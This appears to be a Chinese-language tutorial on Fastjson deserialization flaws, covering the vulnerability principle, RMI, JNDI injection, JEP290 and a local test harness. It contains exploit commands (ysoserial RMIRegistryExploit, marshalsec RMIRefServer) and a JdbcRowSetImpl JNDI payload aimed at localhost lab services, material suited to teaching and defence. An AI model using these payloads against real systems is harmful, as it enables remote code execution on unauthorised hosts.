Fastjson反序列化
一、简介
二、序列化与反序列化
三、Fastjson漏洞介绍
1、漏洞原理
2、RMI
3、JNDI
4、JEP290
四、编写的简单测试的环境
五、漏洞版本
1、fastjson<=1.2.24
1.1、TemplatesImpl 利用链分析
1.2、JNDI利用链分析
1.3、JNDI利用
1.4、官方进行的修复
2、fastjson<=1.2.41
3、fastjson<=1.2.42
4、fastjson<=1.2.45
5、fastjson<=1.2.47
6、1.2.48<=fastjson<1.2.68
7、fastjson<=1.2.68
一、简介
Java 序列化及反序列化处理在基于Java 架构的Web应用中具有尤为重要的作用。例如位于网络两端、彼此不共享内存信息的两个Web应用在进行远程通信时,无论相互间发送何种类型的数据,在网络中实际上都是以二进制序列的形式传输的。为此,发送方必须将要发送的Java 对象序列化为字节流,接收方则需要将字节流再反序列化还原得到Java 对象,才能实现正常通信。当攻击者输入精心构造的字节流被反序列化为恶意对象时,就会造成一系列的安全问题。
二、序列化与反序列化
序列化是指将对象按照一定格式转化为字节流或字符串。
反序列化是序列化的逆过程,将具有一定格式的字节流或字符串还原成对象。
Fastjson可以将对象转换成Json字符串,XMLDecoder 可以将XML字符串还原成字符串,所以也是序列化和反序列化。
序列化可以将对象转换成字节流后保存、传输。反序列化则可以将字节流转换成对象,注入进程序之中,也就是说,不加以控制的反序列化,可以在程序中注入任意一个对象。
三、Fastjson漏洞介绍
与原生的java反序列化相比,FastJson未使用readObject()方法进行反序列化,而是使用了自定义的一套方法,在反序列化的过程中,调用getter和setter方法将JSON字符串还原成对象。
1.2.24版本发布了反序列化漏洞,1.2.25关闭了默认开启的AutoType并加入黑名单
1.2.41和1.2.42 对类名处理不当,造成黑名单绕过
1.2.45中发现了不在黑名单中的利用类
1.2.47中发现了缓存机制可以绕过AutoType
1.2.68又通过缓存绕过了AutoType
从上述Fastjson反序列化漏洞的演化历程可以看出,针对Fastjson的漏洞挖掘主要在于以下两个方面。
· 寻找新的利用链,绕过黑名单。
· 寻找绕过AutoType的方式。
1、漏洞原理
FastJson将JSON还原成对象的方法有三种
- parse(String text)
- parseObject(String text)
- parseObject(String text,Class\clazz)
当通过这3种方法将JSON还原成对象时,FastJson自动调用类中的setter方法和无参构造函数,以及满足条件的getter方法:
- 只存在getter方法,无setter方法
- 方法名称长度大于等于4
- 非静态方法
- 方法名以get开头,且第四个字符为大写字母如getAge
- 方法无需传参
- 方法返回值集成自Collection,Map,AtomicBoolean,AtomicInteger,AtomicLong的其中一种
parseObject(String text)方法将JSON串还原成对象后,会再调用一个xxx方法,所以类中搜易getter方法都会被执行
2、RMI
Java远程方法调用,即Java RMI (Java Remote Method Invocation),即允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。这两个虚拟机可以运行在相同计算机上的不同进程中,也可以运行在网络上的不同计算机中。在网络传输的过程中,RMI中的对象是通过序列化方式进行编码传输的。这意味着,RMI在接收到经过序列化编码的对象后会进行反序列化。
ps:实验要修改\jdk1.8.0_191\jre\lib\security\java.security文件
#sun.rmi.registry.registryFilter=\ sun.rmi.registry.registryFilter=*
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1088 CommonsCollections5 "calc"
利用ysoserial攻击目标RMI开启的1088端口,RMI自动反序列化目标传过来的字节流,攻击要求,已知目标端口,已知所用的组件
3、JNDI
JNDI (Java Naming and Directory Interface) 是一组应用程序接口,目的是方便查找远程或是本地对象。典型的应用场景是配置数据源,除此之外,JNDI还可以访问现有的目录和服务,例如:LDAP、RMI、CORBA、DNS、NDS、NIS。
当程序通过JNDI获取外部远程对象过程中,程序被控制访问恶意的服务地址(例如:指向恶意的RMI服务地址),并加载和实例化恶意对象时,将会造成JNDI注入。JNDI注入利用过程如下。
- 当客户端程序中调用了InitialContext.lookup(url),且url可被输入控制,指向精心构造好的RMI服务地址。
- 恶意的RMI服务会向受攻击的客户端返回一个Reference,用于获取恶意的Factory类。
- 当客户端执行lookup()时,会对恶意的Factory类进行加载并实例化,通过factory.getObjectInstance()获取外部远程对象实例。
- 攻击者在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到远程代码执行的效果。
编译生成.class文件
在文件目录下开启http服务
python -m http.server
使用marshalsec工具,开启监听本地的1099端口
java -cp marshalsec.jar marshalsec.jnid.RMIRefServer http://127.0.0.1:8000/#eval.class
在程序中构造恶意代码
被攻击的程序会先连接到工具启动的RMI服务 会去http服务上获取恶意的类 恶意的类因为写在了静态代码块中,加载时就会自动调用
4、JEP290
JEP290是官方发布的用于缓解反序列化漏洞的措施,从8u121,7u13,6u141版本开始,JDK为RMI注册表和RMI分布式垃圾收集器内置了过滤器,只允许特定的类进行反序列化。
四、编写的简单测试的环境
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; public class FastJsonDemo { public static void main(String[] args){ String str = command; JSON.parse(str, Feature.SupportNonPublicField); /* 还可以是JNDI的方式 { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://127.0.0.1:1999/Exploit", "autoCommit": true } */ } }